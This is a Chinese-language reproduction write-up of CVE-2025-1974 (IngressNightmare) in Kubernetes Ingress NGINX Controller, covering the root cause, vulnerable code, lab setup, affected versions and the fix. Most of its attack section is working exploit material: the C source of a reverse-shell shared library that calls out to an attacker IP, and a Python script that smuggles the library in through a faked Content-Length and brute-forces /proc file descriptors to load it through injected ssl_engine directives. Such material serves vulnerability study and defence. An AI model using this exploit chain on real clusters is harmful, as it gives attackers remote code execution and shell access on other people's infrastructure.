CVE-2025-1974复现 漏洞简介 Ingress Nginx Controller 是 K8s 上最受欢迎的 Ingress 控制器之一,有权访问 ingress-nginx 准入控制器 webhook 的攻击者可以创建恶意的 ingress-nginx Ingress 配置,从而导致 RCE
漏洞原因 当Ingress Nginx Controller处理传入的 AdmissionReview请求时,它会根据模板文件和提供的 Ingress 对象生成一个临时 NGINX 配置文件。然后,它使用 nginx -t
命令测试临时配置文件的有效性。
问题关键点有三个,谁可以发送AdmissionReview请求?,如何注入恶意NGINX配置文件?,如何利用nginx -t 命令执行rce?
对于第一个问题,通常,只有 Kubernetes API 服务器应该发送这些 AdmissionReview 请求。但是,由于 Admission Controller 缺少身份验证,因此具有最小网络访问权限的攻击者可以从集群内的任何 Pod 构建并发送任意 AdmissionReview 请求。
第二个问题,CVE-2025-1974漏洞是IngressNightmare漏洞集群中的一个,与其同时爆出的CVE-2025-24514,CVE-2025-1097,CVE-2025-1098皆为远程NGINX配置注入,可利用这三个漏洞实现注入任意 NGINX 配置指令。
第三个问题,Ingress Nginx Controller 中有许多可用的指令,ssl_engine
指令是 OpenSSL 模块的一部分,这个指令可以在配置文件中的任何位置使用,以在 NGINX 配置测试阶段加载任意库文件。此时出现第四个问题,如何上传恶意共享库文件?
如果 HTTP 请求正文大小大于特定阈值(默认为8KB)时,NGINX 有时会将请求体保存到临时文件中,将请求中的标头设置为大于实际内容大小。NGINX 会一直等待发送更多数据,这会导致进程挂起,让文件描述符打开的时间更长,通过遍历爆破 PID 和 FD 编号,找到文件描述符,对恶意共享库进行加载。
漏洞代码 ingress-nginx/internal/ingress/controller/controller.go
1 2 3 4 5 6 7 8 9 10 11 content, err := n.generateTemplate(cfg, *pcfg) if err != nil { n.metricCollector.IncCheckErrorCount(ing.ObjectMeta.Namespace, ing.Name) return err } err = n.testTemplate(content) if err != nil { n.metricCollector.IncCheckErrorCount(ing.ObjectMeta.Namespace, ing.Name) return err }
generateTemplate函数生成cfg文件,testTemplate函数进行配置测试
testTemplate函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 func (n *NGINXController) testTemplate(cfg []byte ) error { if len (cfg) == 0 { return fmt.Errorf("invalid NGINX configuration (empty)" ) } tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx" ), tempNginxPattern) if err != nil { return err } defer tmpfile.Close() err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser) if err != nil { return err } out, err := n.command.Test(tmpfile.Name()) if err != nil { oe := fmt.Sprintf(` ------------------------------------------------------------------------------- Error: %v %v ------------------------------------------------------------------------------- ` , err, string (out)) return errors.New(oe) } os.Remove(tmpfile.Name()) return nil }
在testTemplate函数调用Test函数,Test函数代码如下
1 2 3 4 func (nc NginxCommand) Test(cfg string ) ([]byte , error ) { return exec.Command(nc.Binary, "-c" , cfg, "-t" ).CombinedOutput() }
漏洞复现 使用minikube搭建环境
1 2 3 curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 sudo install minikube-linux-amd64 /usr/local/bin/minikube
启动minickube (在这里可能会出现很多报错,可根据具体原因解决,此处省略)
安装受漏洞影响版本的ingress-nignx
1 2 3 4 5 6 7 8 9 wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.2/deploy/static/provider/cloud/deploy.yaml #下面两条命令用于换源 sed -i 's#registry.k8s.io/ingress-nginx/controller:v1.11.2@sha256:d5f8217feeac4887cb1ed21f27c2674e58be06bd8f5184cacea2a69abaf78dce#registry.aliyuncs.com/google_containers/nginx-ingress-controller:v1.11.2#g' deploy.yaml sed -i 's#registry.k8s.io/ingress-nginx/kube-webhook-certgen:v1.4.3@sha256:a320a50cc91bd15fd2d6fa6de58bd98c1bd64b9a6f926ce23a600d87043455a3#registry.aliyuncs.com/google_containers/kube-webhook-certgen:v1.4.3#g' deploy.yaml # 安装 kubectl apply -f deploy.yaml
一般情况下启动的validating webhook监听在8443端口 ,用putforward命令进行端口转发
1 kubectl port-forward -n ingress-nginx ingress-nginx-controller-76c86b6bbd-s86qn 2333:8443
使用网上的Poc进行验证
1 2 3 gir clone https://github.com/sandumjacob/IngressNightmare-POCs cd ./CVE-2025-1974 curl --insecure -v -H "Content-Type: application/json" --data @poc.json https://localhost:2333/123
查看日志
1 kubectl logs ingress-nginx-controller-76c86b6bbd-s86qn -n ingress-nginx
出现以下语句,说明验证了上传的nginx配置,即存在漏洞
1 I0326 02:53:15.823881 7 main.go:107] "successfully validated configuration, accepting" ingress="/"
进行深一步利用需搭配IngressNightmare的其余漏洞,攻击分三步实现RCE:上传恶意.so文件至Pod临时存储;通过Content-Length标头维持文件描述符;注入ssl_engine指令加载恶意库。
进一步利用 通过 CVE-2025-24514 + CVE-2025-1974 实现RCE
当我们在auth-url annotation处配置如下时
1 nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\ninjection_point"
由于注释符的原因,\n会被解析为回车,于是配置文件中会显示为如下格式
1 2 3 4 5 6 ... proxy_http_version 1.1; set $target http://example.com/#; injection_point proxy_pass $target; ...
如果我们将上面的injection_point替换为ssl_engine
指令,即可在测试配置文件时加载恶意库 编写恶意库文件,用于反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> __attribute__((constructor)) static void reverse_shell (void ) { char *server_ip="xx.xx.xx.xx" ; uint32_t server_port=6666 ; int sock = socket(AF_INET, SOCK_STREAM, 0 ); struct sockaddr_in attacker_addr = {0 }; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); if (connect(sock, (struct sockaddr *)&attacker_addr,sizeof (attacker_addr))!=0 ) exit (0 ); dup2(sock, 0 ); dup2(sock, 1 ); dup2(sock, 2 ); char *args[] = {"/bin/sh" , NULL }; execve("/bin/sh" , args, NULL ); }
进行编译
1 gcc -shared -fPIC shell.c -o shell.so
接下来就是利用nginx的客户端缓冲机制暂存shell文件,并且遍历进程pid和fd触发加载
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 import json import requests # 此处注意,由于是本地验证 我执行了以下两条命令进行端口转发 #kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller-admission 2333:8443 & #kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller 2888:80 & admission_url = 'https://localhost:2333/123' url = 'http://localhost:2888' ''' { "apiVersion": "admission.k8s.io/v1", "kind": "AdmissionReview", "request": { "kind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "resource": { "group": "", "version": "v1", "resource": "namespaces" }, "operation": "CREATE", "object": { "metadata": { "name": "deads", "annotations": { "nginx.ingress.kubernetes.io/auth-url": "injection" } }, "spec": { "rules": [ { "host": "jacobsandum.com", "http": { "paths": [ { "path": "/", "pathType": "Prefix", "backend": { "service": { "name": "kubernetes", "port": { "number": 80 } } } } ] } } ], "ingressClassName": "nginx" } } } } ''' with open("poc.json", "r") as f: data = json.load(f) with open("shell.so", "rb") as f: shellcode = f.read() def upload(): real_lenth = len(shellcode) fake_lenth = real_lenth + 20 try: headers = { "Content-length": str(fake_lenth), "Content-Type": "application/octet-stream", "Connection": "keep-alive" } res = requests.post(url, headers=headers,data= shellcode) print("[+]upload success") except Exception as e: print("[!]upload failed\n") print(e) def testing_to_load(): for pid in range(0,41): for fd in range(0,41): path_test = f'/proc/{pid}/fd/{fd}' data["request"]["object"]["metadata"]["annotations"][ "nginx.ingress.kubernetes.io /" ] = "http://example.com/#;}}}\\n\\nssl_engine %s;\\n\\n" % (path_test,) try: res = requests.post(admission_url, json=data, verify=False) print("[+]testing" + " " + path_test) except Exception as e: print("[!]" + " error parsing response") print(e) upload() testing_to_load()
影响范围 Ingress NGINX Controller 版本< 1.12.1
Ingress NGINX Controller 版本< 1.11.5
Ingress NGINX Controller 版本< 1.10.7
修复建议 这些漏洞已在 Ingress NGINX Controller 的 1.12.1、1.11.5 和 1.10.7 版本中得到修复。建议用户尽快更新到最新版本,并确保准入 Webhook 端点不会对外暴露